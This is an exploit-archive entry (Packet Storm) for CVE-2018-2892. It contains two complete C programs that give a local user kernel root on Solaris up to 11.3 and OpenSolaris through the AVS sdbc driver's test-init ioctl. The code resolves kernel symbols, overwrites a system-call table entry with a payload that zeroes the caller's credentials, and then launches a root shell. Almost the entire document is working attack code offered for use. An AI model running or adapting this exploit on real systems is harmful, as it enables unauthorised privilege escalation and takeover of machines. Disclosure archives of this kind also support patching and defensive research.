Sun Solaris 11.3 AVS Local Kernel Root

2018-08-02T00:00:00
ID PACKETSTORM:148799
Type packetstorm
Reporter mu-b
Modified 2018-08-02T00:00:00

Description

                                        
                                            `/*  
# Exploit Title: Solaris/OpenSolaris AVS kernel code execution  
# Google Dork: [if applicable]  
# Date: 24/7/2018  
# Exploit Author: mu-b  
# Vendor Homepage: oracle.com  
# Software Link:  
# Version: Solaris 10, Solaris <= 11.3  
# Tested on: Solaris 11.X, OpenSolaris  
# CVE : CVE-2018-2892  
  
http://digit-labs.org/files/exploits/sdbc-testinit.c  
http://digit-labs.org/files/exploits/sdbc-testinit-v2.c  
  
a few more added to digit-labs as well, old irix-espd remote root for   
irix as well.  
  
/* sdbc-testinit.c  
*  
* Copyright (c) 2008 by <mu-b@digit-labs.org>  
*  
* Sun Opensolaris <= snv_104 local kernel root exploit  
* by mu-b - Sun 21 Dec 2008  
*  
* $Id: sdbc-testinit.c 37 2018-07-23 20:08:39Z mu-b $  
*  
* - Tested on: Opensolaris snv_104 (i86pc)  
*  
* hmmm, this has gotta be test code!?%$!  
*  
* - Private Source Code -DO NOT DISTRIBUTE -  
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!  
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
  
#include <fcntl.h>  
#include <libelf.h>  
#include <string.h>  
#include <stropts.h>  
#include <sys/elf.h>  
#include <sys/mman.h>  
#include <sys/param.h>  
#include <sys/syscall.h>  
#include <unistd.h>  
  
#define SDBC(a) (('B'<<16)|('C'<<8)|(a))  
#define SDBC_TEST_INIT SDBC(5)  
  
typedef struct _sdbc_ioctl32_s {  
unsigned int arg0;  
unsigned int arg1;  
unsigned int arg2;  
unsigned int arg3;  
unsigned int arg4;  
unsigned int magic;  
unsigned int ustatus;  
unsigned int pad[1];  
} _sdbc_ioctl32_t;  
  
typedef struct _sysent_s {  
char sy_narg;  
#ifdef _LP64  
unsigned short sy_flags;  
#else  
unsigned char sy_flags;  
#endif  
int (*sy_call)();  
void *sy_lock;  
void *sy_callc;  
} _sysent_t;  
  
#ifdef _LP64  
#define KTHREAD 0x16  
#else  
#define KTHREAD 0x10  
#endif  
  
#define XSTRINGY(a) STRINGY(a)  
#define STRINGY(a) #a  
  
int  
pown_kernel (void)  
{  
__asm__ ( "mov %gs:" XSTRINGY(KTHREAD) ", %eax\n"  
"mov 0xdc(%eax), %eax\n"  
"mov 0x14(%eax), %eax\n"  
"movl $0x0, 0x4(%eax)\n"  
"movl $0x0, 0xc(%eax)");  
return (0);  
}  
  
static void *  
resolve_kernsymbl (char *name)  
{  
Elf_Scn *scn = NULL;  
Elf *elf;  
void *r = NULL;  
int fd;  
  
fd = open ("/dev/ksyms", O_RDONLY);  
if (fd < 0)  
{  
fprintf (stderr, "failed opening /dev/ksyms\n");  
return (NULL);  
}  
  
elf_version (EV_CURRENT);  
  
if ((elf = elf_begin (fd, ELF_C_READ, NULL)) == NULL)  
{  
fprintf (stderr, "elf_begin failed\n");  
goto done;  
}  
  
while ((scn = elf_nextscn (elf, scn)) != 0)  
{  
Elf32_Shdr *shdr;  
  
if ((shdr = elf32_getshdr (scn)) != 0)  
{  
if (shdr->sh_type == SHT_SYMTAB)  
{  
Elf_Data *data = NULL;  
  
if ((data = elf_getdata (scn, data)) == 0 || data->d_size == 0)  
continue;  
  
Elf32_Sym *esym = (Elf32_Sym *) data->d_buf;  
Elf32_Sym *lastsym = (Elf32_Sym *) ((char *) data->d_buf + data->d_size);  
  
for (; esym < lastsym; esym++)  
{  
if (esym->st_value == 0 ||  
(ELF32_ST_TYPE(esym->st_info) == STT_FUNC))   
continue;  
  
if (strcmp (name, elf_strptr (elf, shdr->sh_link, (size_t) esym->st_name)) == 0)  
{  
r = (void *) esym->st_value;  
goto done;  
}  
}  
}  
}  
}  
  
done:  
elf_end (elf);  
close (fd);  
  
return (r);  
}  
  
int  
main (int argc, char **argv)  
{  
void *devarrayp, *sysentp, *ptr, *target;  
_sdbc_ioctl32_t sdcp_ioctl;  
_sysent_t sysent;  
int devindx, fd, id, n, sysindx;  
  
printf ("Sun Opensolaris <= snv_104 local kernel root exploit\n"  
"by: <mu-b@digit-labs.org>\n"  
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");  
  
fd = open ("/dev/sdbc", O_RDONLY);  
if (fd < 0)  
{  
fprintf (stderr, "%s: failed opening /dev/sdbc\n", argv[0]);  
return (EXIT_FAILURE);  
}  
  
memset (&sysent, 0, sizeof (sysent));  
sysent.sy_narg = 0;  
sysent.sy_flags = 0;  
sysent.sy_call = pown_kernel;  
sysent.sy_lock = NULL;  
sysent.sy_callc = NULL;  
  
devarrayp = resolve_kernsymbl ("devarray");  
if (devarrayp == NULL)  
{  
fprintf (stderr, "%s: failed resolving &devarray\n", argv[0]);  
return (EXIT_FAILURE);  
}  
  
sysentp = resolve_kernsymbl ("sysent");  
if (sysentp == NULL)  
{  
fprintf (stderr, "%s: failed resolving &sysent\n", argv[0]);  
return (EXIT_FAILURE);  
}  
  
sysentp += 8; /* any ideas? */  
target = sysentp + 0x2C0;  
sysindx = ((int) target - (int) sysentp) / sizeof (sysent);  
devindx = ((char *) target - (char *) devarrayp) / 256;  
  
ptr = mmap (NULL, PAGESIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);  
if ((int) ptr == -1)  
{  
fprintf (stderr, "failed mmap\n");  
return (EXIT_FAILURE);  
}  
  
memset (ptr, 0, PAGESIZE);  
memcpy ((ptr + PAGESIZE) - sizeof (sysent), &sysent, sizeof (sysent));  
  
memset (&sdcp_ioctl, 0, sizeof (sdcp_ioctl));  
sdcp_ioctl.arg0 = (unsigned int) (ptr + PAGESIZE) - sizeof (sysent);  
sdcp_ioctl.arg1 = devindx;  
sdcp_ioctl.arg2 = sizeof (sysent) * 2;  
  
printf ("* devarray: 0x%08X, sysent: 0x%08X, target: 0x%08X\n", (int) devarrayp, (int) sysentp, (int) target);  
printf ("* devarray idx: %u\n", sdcp_ioctl.arg1);  
printf ("* sysent idx: %u\n", sysindx);  
  
printf ("\n* overwriting... ");  
n = ioctl (fd, SDBC_TEST_INIT, &sdcp_ioctl);  
printf ("done\n");  
  
printf ("\n* jumping... ");  
syscall (sysindx);  
printf ("done\n\n");  
  
id = getuid ();  
printf ("* getuid(): %d\n", id);  
if (id == 0)  
{  
printf ("+Wh00t\n\n");  
  
/* exec shell, for some reason execve doesn't work!?$! */  
system ("/bin/bash");  
}  
else  
fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]);  
  
return (EXIT_SUCCESS);  
}  
*/  
  
/* sdbc-testinit-v2.c  
*  
* Copyright (c) 2008-2017 by <mu-b@digit-labs.org>  
*  
* Sun Solaris <= 11.3 AVS local kernel root exploit  
* by mu-b - Tue 16 May 2017  
*  
* $Id: sdbc-testinit-v2.c 37 2018-07-23 20:08:39Z mu-b $  
*  
* - Tested on: Solaris 5.11 11.3 + AVS (i86pc)  
* Opensolaris snv_104 + AVS (i86pc)  
*  
* hmmm, this has gotta be test code!?%$!  
*  
* This was originally found in OpenSolaris and later ported to Solaris with the  
* exception that we now have to exploit a signedness bug in the devarray index  
* parameter whereas previously it was unbounded! (see sdbc-testinit.c).  
*  
* - Private Source Code -DO NOT DISTRIBUTE -  
* http://www.digit-labs.org/ -- Digit-Labs 2008-2017!@$!  
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
  
#include <fcntl.h>  
#include <libelf.h>  
#include <limits.h>  
#include <string.h>  
#include <stropts.h>  
#include <sys/elf.h>  
#include <sys/mman.h>  
#include <sys/param.h>  
#include <sys/syscall.h>  
#include <unistd.h>  
  
#define SDBC(a) (('B'<<16)|('C'<<8)|(a))  
#define SDBC_TEST_INIT SDBC(5)  
  
typedef struct _sdbc_ioctl {  
long arg0;  
long arg1;  
long arg2;  
long arg3;  
long arg4;  
long magic;  
long ustatus;  
long pad[1];  
} _sdbc_ioctl_t;  
  
typedef struct _sysent_s {  
char sy_narg;  
#ifdef _LP64  
unsigned short sy_flags;  
#else  
unsigned char sy_flags;  
#endif  
int (*sy_call)();  
void *sy_lock;  
void *sy_callc;  
} _sysent_t;  
  
#ifdef _LP64  
# define KTHREAD 0x18  
#else  
# define KTHREAD 0x10  
#endif  
  
#define XSTRINGY(a) STRINGY(a)  
#define STRINGY(a) #a  
  
int  
pown_kernel (void)  
{  
#ifdef _LP64  
__asm__ ( "mov %gs:" XSTRINGY(KTHREAD) ", %rax\n"  
"mov 0x1c8(%rax), %rax\n"  
"movl $0x0, 0x4(%rax)\n" /* kthread_t->t_cred->cr_uid */  
"movl $0x0, 0x8(%rax)\n" /* kthread_t->t_cred->cr_gid */  
"movl $0x0, 0xc(%rax)\n" /* kthread_t->t_cred->cr_ruid */  
"movl $0x0, 0x10(%rax)"); /* kthread_t->t_cred->cr_rgid */  
#else  
__asm__ ( "mov %gs:" XSTRINGY(KTHREAD) ", %eax\n"  
"mov 0xdc(%eax), %eax\n"  
"mov 0x14(%eax), %eax\n"  
"movl $0x0, 0x4(%eax)\n"  
"movl $0x0, 0x8(%eax)\n"  
"movl $0x0, 0xc(%eax)\n"  
"movl $0x0, 0x10(%eax)");  
#endif  
return (0);  
}  
  
static void *  
resolve_kernsymbl (char *name)  
{  
Elf_Scn *scn = NULL;  
Elf *elf;  
void *r = NULL;  
int fd;  
  
fd = open ("/dev/ksyms", O_RDONLY);  
if (fd < 0)  
{  
fprintf (stderr, "failed opening /dev/ksyms\n");  
return (NULL);  
}  
  
elf_version (EV_CURRENT);  
  
if ((elf = elf_begin (fd, ELF_C_READ, NULL)) == NULL)  
{  
fprintf (stderr, "elf_begin failed\n");  
goto done;  
}  
  
while ((scn = elf_nextscn (elf, scn)) != 0)  
{  
#ifdef _LP64  
Elf64_Shdr *shdr;  
if ((shdr = elf64_getshdr (scn)) != 0)  
#else  
Elf32_Shdr *shdr;  
if ((shdr = elf32_getshdr (scn)) != 0)  
#endif  
{  
if (shdr->sh_type == SHT_SYMTAB)  
{  
Elf_Data *data = NULL;  
  
if ((data = elf_getdata (scn, data)) == 0 || data->d_size == 0)  
continue;  
  
#ifdef _LP64  
Elf64_Sym *esym = (Elf64_Sym *) data->d_buf;  
Elf64_Sym *lastsym = (Elf64_Sym *) ((char *) data->d_buf + data->d_size);  
#else  
Elf32_Sym *esym = (Elf32_Sym *) data->d_buf;  
Elf32_Sym *lastsym = (Elf32_Sym *) ((char *) data->d_buf + data->d_size);  
#endif  
  
for (; esym < lastsym; esym++)  
{  
if (esym->st_value == 0 ||  
#ifdef _LP64  
(ELF64_ST_TYPE(esym->st_info) == STT_FUNC))   
#else  
(ELF32_ST_TYPE(esym->st_info) == STT_FUNC))   
#endif  
continue;  
  
if (strcmp (name, elf_strptr (elf, shdr->sh_link, (size_t) esym->st_name)) == 0)  
{  
r = (void *) esym->st_value;  
goto done;  
}  
}  
}  
}  
}  
  
done:  
elf_end (elf);  
close (fd);  
  
return (r);  
}  
  
int  
main (int argc, char **argv)  
{  
void *devarrayp, *sysentp, *ptr, *targetp;  
int align, fd, id, n, sysindx;  
_sdbc_ioctl_t sdbc_ioctl;  
_sysent_t sysent;  
long devindx;  
  
printf ("Sun (Open)Solaris <= 11.3 AVS local kernel root exploit\n"  
"by: <mu-b@digit-labs.org>\n"  
"http://www.digit-labs.org/ -- Digit-Labs 2008-2017!@$!\n\n");  
  
fd = open ("/dev/sdbc", O_RDONLY);  
if (fd < 0)  
{  
fprintf (stderr, "%s: failed opening /dev/sdbc\n", argv[0]);  
return (EXIT_FAILURE);  
}  
  
memset (&sysent, 0, sizeof (sysent));  
sysent.sy_narg = 0;  
sysent.sy_flags = 0;  
sysent.sy_call = pown_kernel;  
sysent.sy_lock = pown_kernel;  
sysent.sy_callc = pown_kernel;  
  
devarrayp = resolve_kernsymbl ("devarray");  
if (devarrayp == NULL)  
{  
fprintf (stderr, "%s: failed resolving &devarray\n", argv[0]);  
return (EXIT_FAILURE);  
}  
  
sysentp = resolve_kernsymbl ("sysent");  
if (sysentp == NULL)  
{  
fprintf (stderr, "%s: failed resolving &sysent\n", argv[0]);  
return (EXIT_FAILURE);  
}  
  
/* devarray elements are 256-bytes in size, so we can only write at an offset  
* aligned to devarrayp & 0xff */  
targetp = (void *) (((long) sysentp & ~0xFF) | ((long) devarrayp & 0xFF));  
targetp += 0x1700;  
sysindx = ((long) targetp - (long) sysentp) / sizeof (sysent);  
devindx = ((char *) targetp - (char *) devarrayp) / 256;  
devindx = (long) LONG_MIN + devindx;  
  
ptr = mmap (NULL, PAGESIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);  
if (ptr == (void *) -1)  
{  
fprintf (stderr, "failed mmap\n");  
return (EXIT_FAILURE);  
}  
  
memset (ptr, 0, PAGESIZE);  
  
align = ((long) sysentp & 0x0F) - ((long) devarrayp & 0x0F);  
if (align < 0)  
align = -align;  
memcpy ((ptr + PAGESIZE) - sizeof (sysent) - align, &sysent, sizeof (sysent));  
  
memset (&sdbc_ioctl, 0, sizeof (sdbc_ioctl));  
sdbc_ioctl.arg0 = (long) (ptr + PAGESIZE) - sizeof (sysent);  
sdbc_ioctl.arg1 = devindx;  
sdbc_ioctl.arg2 = sizeof (sysent) * 2;  
#ifdef _LP64  
printf ("* devarray: 0x%016lX, sysent: 0x%016lX, target: 0x%016lX\n", (long) devarrayp, (long) sysentp, (long) targetp);  
printf ("* devarray idx: %ld %016lX\n", devindx, devindx);  
#else  
printf ("* devarray: 0x%08lX, sysent: 0x%08lX, target: 0x%08lX\n", (long) devarrayp, (long) sysentp, (long) targetp);  
printf ("* devarray idx: %ld %08lX\n", devindx, devindx);  
#endif  
printf ("* sysent idx: %u\n", sysindx);  
  
printf ("\n* overwriting... ");  
n = ioctl (fd, SDBC_TEST_INIT, &sdbc_ioctl);  
if (n != -1)  
{  
printf ("failed, ouch (%d)\n", n);  
return (EXIT_FAILURE);  
}  
printf ("done\n");  
  
printf ("* jumping... ");  
syscall (sysindx);  
printf ("done\n");  
  
id = getuid ();  
printf ("* getuid(): %d\n", id);  
if (id == 0)  
{  
char *args[2] = { "/bin/sh", NULL };  
printf ("+Wh00t\n\n");  
  
execve (args[0], args, NULL);  
}  
else  
fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]);  
  
return (EXIT_SUCCESS);  
}  
  
`